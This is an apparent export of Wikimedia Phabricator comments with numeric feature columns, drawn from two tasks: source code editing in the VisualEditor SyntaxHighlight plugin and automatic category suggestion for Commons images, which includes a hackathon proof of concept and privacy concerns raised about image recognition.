https://gerrit.wikimedia.org/r/68615",,,1375162980,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.764705882352941,1.0,"Change 68615 had a related patch set uploaded by Jforrester:
Source code editing

GERRIT_URL"
232607,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:

Somebody with the power could you change the bug status to assigned, and it was assigned to me.
Also anyone who is interested please feel free to give code review at the following patch.

> Related URL: https://gerrit.wikimedia.org/r/68615 (Gerrit Change
> I4adede9e05fd2236cee50ce03f597e8ff6b1914d)",,,1375162735,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,4,,0.0,4.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,8.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.82,0.76,"**suitongbowgn** wrote:

Somebody with the power could you change the bug status to assigned, and it was assigned to me.
Also anyone who is interested please feel free to give code review at the following patch.

QUOTE
QUOTE"
232601,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,Related URL: https://gerrit.wikimedia.org/r/68615 (Gerrit Change I4adede9e05fd2236cee50ce03f597e8ff6b1914d),,,1371190144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I4adede9e05fd2236cee50ce03f597e8ff6b1914d)
232592,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Just a note to say that Tongbo Sui has submitted a GSoC proposal related to this report: https://www.mediawiki.org/wiki/User:Beanixster

Good luck!",,,1367534348,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,26.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.739130434782609,0.9130434782608695,"Just a note to say that Tongbo Sui has submitted a GSoC proposal related to this report: URL

Good luck!"
232586,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:

In a nutshell it would be a major front-end JS work and will leave backend as-is as much as possible. I'm pretty sure that it will only utilize tags currently available and won't affect backend at all.(In reply to comment #6)",,,1367169151,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,False,,,-10,,2.0,0.0,0.0,0.0,2.0,10.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,2.0,0.0,2.0,0.0,10.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,2.0,3.0,3.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,5.0,9.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.603448275862069,0.8103448275862069,"**suitongbowgn** wrote:

In a nutshell it would be a major front-end JS work and will leave backend as-is as much as possible. I'm pretty sure that it will only utilize tags currently available and won't affect backend at all.(In reply to comment #6)"
232578,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,Given that this is about desired enhancements to a VisualEditor plugin for the SyntaxHighlight extension - bug 43126 - moving this there and marking as a dependency.,,,1367002940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,11.0,4.0,4.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,18.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,4.964285714285714,0.8928571428571429,Given that this is about desired enhancements to a VisualEditor plugin for the SyntaxHighlight extension - bug 43126 - moving this there and marking as a dependency.
232573,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:

I understand that the rich text is just a presentation and I can see in article source that the formats are defined using a set of markups. What I'm proposing is a plugin/feature which will take care of write the markup(plaintext) for the user when editing code snippets, just like what VisualEditor is intended to do (in my opinion). In addition source code needs special formatting that is different from natural written human language, so that's why I think the feature should include automatic indentation and such.
For editing just a part of the text, I'm thinking of an interface similar to a pop-up window, obscuring parts of the editing window. Just like when you insert an image the editor will have a new window pop up asking image url, alt text, target, etc. When you click insert the editor will convert your choice in that pop-up window to the plaintext with tags and other markups, which will be visually reflected in the main WYSIWYG editor.

(In reply to comment #5)
> Ah, it seems I misunderstood, sorry. I though you are talking about the
> source
> code *of the article itself*, and it appears like you meant source code in
> different languages, such as what's included in a <syntaxhighlight> tag.
> 
> Sorry and please disregard my comments :)

(In reply to comment #4)
> Making sure that arbitrary wikitext does not interact with other parts of the
> page is difficult. It is possible to enforce this for extension content, but
> generally not for arbitrary parts of a page.",,,1367000971,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,0.0,0.0,0.0,2.0,0.3333333333333333,3.3333333333333335,10.333333333333334,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,4.333333333333333,1.6666666666666667,0.0,2.6666666666666665,1.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,17.666666666666668,0.6666666666666666,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,6.666666666666667,2.0,8.666666666666666,2.3333333333333335,1.0,8.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,3.3333333333333335,10.333333333333334,3.0,0.0,0.0,0.0,3.3333333333333335,0.0,3.3333333333333335,2.6666666666666665,0.0,2.3333333333333335,0.0,0.0,1.0,3.856540084388186,0.6962025316455697,"**suitongbowgn** wrote:

I understand that the rich text is just a presentation and I can see in article source that the formats are defined using a set of markups. What I'm proposing is a plugin/feature which will take care of write the markup(plaintext) for the user when editing code snippets, just like what VisualEditor is intended to do (in my opinion). In addition source code needs special formatting that is different from natural written human language, so that's why I think the feature should include automatic indentation and such.
For editing just a part of the text, I'm thinking of an interface similar to a pop-up window, obscuring parts of the editing window. Just like when you insert an image the editor will have a new window pop up asking image url, alt text, target, etc. When you click insert the editor will convert your choice in that pop-up window to the plaintext with tags and other markups, which will be visually reflected in the main WYSIWYG editor.

(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

(In reply to comment #4)
QUOTE
QUOTE
QUOTE"
232569,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Ah, it seems I misunderstood, sorry. I though you are talking about the source code *of the article itself*, and it appears like you meant source code in different languages, such as what's included in a <syntaxhighlight> tag.

Sorry and please disregard my comments :)",,,1367000177,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,5.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,7.0,2.0,4.0,5.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,14.0,12.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,3.9649122807017543,0.7719298245614035,"Ah, it seems I misunderstood, sorry. I though you are talking about the source code *of the article itself*, and it appears like you meant source code in different languages, such as what's included in a <syntaxhighlight> tag.

Sorry and please disregard my comments :)"
232566,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Making sure that arbitrary wikitext does not interact with other parts of the page is difficult. It is possible to enforce this for extension content, but generally not for arbitrary parts of a page.",,,1367000151,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.486486486486487,0.7837837837837838,"Making sure that arbitrary wikitext does not interact with other parts of the page is difficult. It is possible to enforce this for extension content, but generally not for arbitrary parts of a page."
232563,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"If anything, it seems like this request would build on top of that one. It's currently just not possible to edit almost anything else than plaintext in VisualEditor (and it's not just an interface issue, but a backend one as well).

I'm reopening and marking as dependent on that one, then. Feel free to adjust this :)",,,1367000062,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,True,,,-10,,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,1.0,0.0,1.0,0.0,17.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,1.0,4.0,9.0,0.0,1.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,13.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8115942028985508,0.7536231884057971,"If anything, it seems like this request would build on top of that one. It's currently just not possible to edit almost anything else than plaintext in VisualEditor (and it's not just an interface issue, but a backend one as well).

I'm reopening and marking as dependent on that one, then. Feel free to adjust this :)"
232560,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:

I believe that request is too broad and this one is more specific. (In reply to comment #1)
> 
%%%> *** This bug has been marked as a duplicate of bug 43133 ***%%%",,,1366998862,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,7.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,11.0,4.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.807017543859649,0.7017543859649122,"**suitongbowgn** wrote:

I believe that request is too broad and this one is more specific. (In reply to comment #1)
QUOTE
%%%> *** This bug has been marked as a duplicate of bug 43133 ***%%%"
232553,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"

*** This bug has been marked as a duplicate of bug 43133 ***",,,1366998592,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 43133 ***"
49492,Automatically propose/suggest a category for images,"Let's crush the [categorisation backlog](https://commons.wikimedia.org/wiki/User:Multichill/Categorization_stats) once and for all!

some categorization could be automated already.

Searching for pictures based on meta-data is called ""Concept Based Image Retrieval"", searching based on the machine vision recognized content of the image is called ""Content Based Image Retrieval"".

What I understood of Lars' request, is an automated way of finding the ""superfluous"" concepts or meta-data for pictures based on their content. Of course recognizing an images content is very hard (and subjective), but I think it would be possible for many of these ""superfluous"" categories, such as ""winter landscape"", ""summer beach"" and perhaps also ""red flowers"" and ""bicycle"".

There exist today many open source ""Content Based Image Retrieval"" systems, that I understand basically works in the way that you give them a picture, and they find you the ""matching"" pictures accompanied with a score. Now suppose we show a picture with known content (pictures from Commons with good meta-data), then we could to a degree of trust find pictures with overlapping categories. I am not sure whether this kind of automated reverse meta-data labelling should be done for only one category per time, or if some kind of ""category bundles"" work better. Probably adjectives and items should be compounded (eg ""red flowers"").

Relevant articles and links from Wikipedia:

  # [w:Image_retrieval](https://en.wikipedia.org/wiki/Image_retrieval)
  # [w:Content-based_image_retrieval](https://en.wikipedia.org/wiki/Content-based_image_retrieval)
  # [w:List_of_CBIR_engines#CBIR_research_projects.2Fdemos.2Fopen_source_projects](https://en.wikipedia.org/wiki/List_of_CBIR_engines#CBIR_research_projects.2Fdemos.2Fopen_source_projects)

 Some demo links bawolff found:


  # [http://demo-itec.uni-klu.ac.at/liredemo/](http://demo-itec.uni-klu.ac.at/liredemo/ ) (Lire might even be integrated with CirrusSearch because it's based on Lucene)
  # [http://image.mdx.ac.uk/time/demo.php](http://image.mdx.ac.uk/time/demo.php)
  # [http://mi-file.isti.cnr.it:8765/CophirSearch/](http://mi-file.isti.cnr.it:8765/CophirSearch/)
  # [http://orpheus.ee.duth.gr/anaktisi/](http://orpheus.ee.duth.gr/anaktisi/) (not free)
  # [https://youtube.com/2eaGwk4Xhks](https://youtube.com/2eaGwk4Xhks)


  - Skills: image recognition/analysis, possibly Natural language processing; language depending on implementation, e.g. python for a [PWB tool](https://www.mediawiki.org/wiki/Manual:Pywikibot), JavaScript and PHP for a MediaWiki extension, JavaScript for a [tool](https://www.mediawiki.org/wiki/Tool_Labs) similar to the [Wikidata Game](http://magnusmanske.de/wordpress/?p=203).
  - Possible mentors: Kristian Kankainen (Keeleleek); WereSpielChequers?
  - Additional info: ""I like the idea of automating categorisation, but I think we are a long way from being able to do much of it. So this would be a big longterm project. One of my concerns is that we are a global site, and we are trying to collect the most diverse set of images that anyone has ever assembled. Image recognition is a good way of saying that we now have another twenty images of this person, but it could be confused when we get our first images of one of the fox subspecies that we don't yet have a picture of. Or rather it would struggle to differentiate the rare and the unique from their more common cousins. There are also some spooky implications for privacy re image recognition and our pictures of people, aside from the obvious things like identifying demonstrators in a crowd or linking a series of shots of one person in such a way as to identify that this photograph of a face belongs to the same person as this photo of pubic hair because the hand is identical; We have had some dodgy things happening on Wikipedia with people wanting to categorise people ethnically and I worry that someone might use a tool such as this to try and semi accurately categorise people as say Jewish. Another major route for improved categorisation is geodata, and I think this could be a less contentious route. Not that everything has geodata, but if things have it could be a neat way to categorise a lot of images, especially if we can get boundary data so we can categorise images as being shot from within a set of boundaries rather than centroid data with all its problems that the parts of one place maybe closer to the centre of an adjacent place than the centre of the area they belong to. WereSpielChequers (talk) 09:58, 20 June 2014 (UTC)""

----
Proposed in #community-wishlist-survey-2016. Received 33 support votes, and ranked #45 out of 265 proposals. [[ https://meta.wikimedia.org/wiki/2016_Community_Wishlist_Survey/Categories/Commons#CW2016-R045 | View complete proposal with discussion and votes here. ]]",Lowest,10.0,1366602900,,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_description,open,True,c1,1,False,False,,-10,,1.25,0.375,0.125,1.0,0.5,6.75,1.75,0.25,0.0,0.375,1.375,0.25,0.125,0.125,0.25,2.75,0.625,4.75,12.875,0.375,0.875,0.25,0.0,0.0,0.625,0.5,0.0,0.0,1.125,0.375,0.375,4.375,1.75,0.875,0.25,0.25,0.0,0.0,0.75,0.5,0.0,0.625,0.5,1.625,0.0,0.5,0.375,0.0,0.25,18.75,0.375,1.25,0.0,0.5,0.375,0.375,0.0,0.25,1.0,0.0,0.375,0.375,0.0,0.625,0.375,0.0,0.0,5.375,3.0,9.375,1.875,3.0,7.625,0.0,0.0,0.125,1.25,3.375,0.0,1.5,0.0,4.625,12.875,4.25,0.125,3.375,0.0,4.625,0.0,0.625,3.0,0.125,1.625,0.5,0.125,1.75,4.224482323232323,0.6969191919191919,"Let's crush the [categorisation backlog](URL once and for all!

some categorization could be automated already.

Searching for pictures based on meta-data is called ""Concept Based Image Retrieval"", searching based on the machine vision recognized content of the image is called ""Content Based Image Retrieval"".

What I understood of Lars' request, is an automated way of finding the ""superfluous"" concepts or meta-data for pictures based on their content. Of course recognizing an images content is very hard (and subjective), but I think it would be possible for many of these ""superfluous"" categories, such as ""winter landscape"", ""summer beach"" and perhaps also ""red flowers"" and ""bicycle"".

There exist today many open source ""Content Based Image Retrieval"" systems, that I understand basically works in the way that you give them a picture, and they find you the ""matching"" pictures accompanied with a score. Now suppose we show a picture with known content (pictures from Commons with good meta-data), then we could to a degree of trust find pictures with overlapping categories. I am not sure whether this kind of automated reverse meta-data labelling should be done for only one category per time, or if some kind of ""category bundles"" work better. Probably adjectives and items should be compounded (eg ""red flowers"").

Relevant articles and links from Wikipedia:

  # [w:Image_retrieval](URL
  # [w:Content-based_image_retrieval](URL
  # [w:List_of_CBIR_engines#CBIR_research_projects.2Fdemos.2Fopen_source_projects](URL

 Some demo links bawolff found:


  # [URL ) (Lire might even be integrated with CirrusSearch because it's based on Lucene)
  # [URL
  # [URL
  # [URL (not free)
  # [URL


  - Skills: image recognition/analysis, possibly Natural language processing; language depending on implementation, e.g. python for a [PWB tool](URL JavaScript and PHP for a MediaWiki extension, JavaScript for a [tool](URL similar to the [Wikidata Game](URL
  - Possible mentors: Kristian Kankainen (Keeleleek); WereSpielChequers?
  - Additional info: ""I like the idea of automating categorisation, but I think we are a long way from being able to do much of it. So this would be a big longterm project. One of my concerns is that we are a global site, and we are trying to collect the most diverse set of images that anyone has ever assembled. Image recognition is a good way of saying that we now have another twenty images of this person, but it could be confused when we get our first images of one of the fox subspecies that we don't yet have a picture of. Or rather it would struggle to differentiate the rare and the unique from their more common cousins. There are also some spooky implications for privacy re image recognition and our pictures of people, aside from the obvious things like identifying demonstrators in a crowd or linking a series of shots of one person in such a way as to identify that this photograph of a face belongs to the same person as this photo of pubic hair because the hand is identical; We have had some dodgy things happening on Wikipedia with people wanting to categorise people ethnically and I worry that someone might use a tool such as this to try and semi accurately categorise people as say Jewish. Another major route for improved categorisation is geodata, and I think this could be a less contentious route. Not that everything has geodata, but if things have it could be a neat way to categorise a lot of images, especially if we can get boundary data so we can categorise images as being shot from within a set of boundaries rather than centroid data with all its problems that the parts of one place maybe closer to the centre of an adjacent place than the centre of the area they belong to. WereSpielChequers (talk) 09:58, 20 June 2014 (UTC)""

----
Proposed in #community-wishlist-survey-2016. Received 33 support votes, and ranked #45 out of 265 proposals. [[ URL | View complete proposal with discussion and votes here. ]]"
1104990,Automatically propose/suggest a category for images,"Hi there. I did work on a proof of concept for this during the hackathon. Backend code is at https://github.com/Niharika29/imagery as Framawiki pointed out. The user script is at https://commons.wikimedia.org/wiki/User:NKohli_(WMF)/imagery.js (It needs a lot of improvements but works okay as a proof of concept). To use it, add `importScript( 'User:NKohli_(WMF)/imagery.js' );` to your common.js page and then you will see a 'Detect labels' button underneath each image on the File page for the image. Clicking that button will activate it and after a few seconds it will be replaced by features it found in the image and suggested categories.

This could use a lot of feature and design improvements. I haven't heard any actual feedback on the script yet so I was waiting on that a bit. I would be more than happy to work on improving this script and eventually proposing it be a gadget, if people think that's a good idea.

As for integration into MediaWiki - that would be a challenge. This script works by querying Google's image recognition service. Anything that can do feature labelling for images needs to have a huge, good, trained dataset like Google does. We'd first have to build that in order to build the extension because we do not deploy extensions which rely on external services. That's a monumental task and it will probably be years before we can get that in place. 
",,,1531771716,,PHID-USER-qztkawkvfnwvkspdr46l,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,263,,1.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,3.3333333333333335,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,2.0,1.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.0,3.6666666666666665,14.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,1.0,2.3333333333333335,0.0,4.666666666666667,1.3333333333333333,2.3333333333333335,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,15.333333333333334,1.6666666666666667,2.3333333333333335,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,6.666666666666667,2.6666666666666665,8.666666666666666,0.6666666666666666,2.3333333333333335,11.0,0.0,0.0,0.0,0.0,7.333333333333333,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,14.0,2.0,0.0,0.6666666666666666,0.0,5.666666666666667,0.0,1.0,4.0,0.0,2.0,0.3333333333333333,0.0,0.0,3.9280049897531857,0.7385280228103003,"Hi there. I did work on a proof of concept for this during the hackathon. Backend code is at URL as Framawiki pointed out. The user script is at URL (It needs a lot of improvements but works okay as a proof of concept). To use it, add CODE to your common.js page and then you will see a 'Detect labels' button underneath each image on the File page for the image. Clicking that button will activate it and after a few seconds it will be replaced by features it found in the image and suggested categories.

This could use a lot of feature and design improvements. I haven't heard any actual feedback on the script yet so I was waiting on that a bit. I would be more than happy to work on improving this script and eventually proposing it be a gadget, if people think that's a good idea.

As for integration into MediaWiki - that would be a challenge. This script works by querying Google's image recognition service. Anything that can do feature labelling for images needs to have a huge, good, trained dataset like Google does. We'd first have to build that in order to build the extension because we do not deploy extensions which rely on external services. That's a monumental task and it will probably be years before we can get that in place. 
"
1104712,Automatically propose/suggest a category for images,@Framawiki: Is there a reason why this should preferably be implemented via a MediaWiki extension (instead of any kind of implementation)?,,,1531749181,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,True,,,263,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,8.0,8.0,12.0,4.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.76,0.92,SCREEN_NAME: Is there a reason why this should preferably be implemented via a MediaWiki extension (instead of any kind of implementation)?
1104658,Automatically propose/suggest a category for images,">>! In T49492#4427133, @Aklapper wrote:
> Someone correct me if I'm wrong: I think that @Niharika worked on this in {T155538} as can be seen in https://commons.wikimedia.org/wiki/File:Wikimedia_Hackathon_2018_showcase_-_Image_labelling_and_category_suggester.jpg ? 
> Wondering if there is a link to a codebase to share?

True, but as I remember @Niharika says during the presentation that she worked on a proof-of-concept. Backend is at https://github.com/Niharika29/imagery.

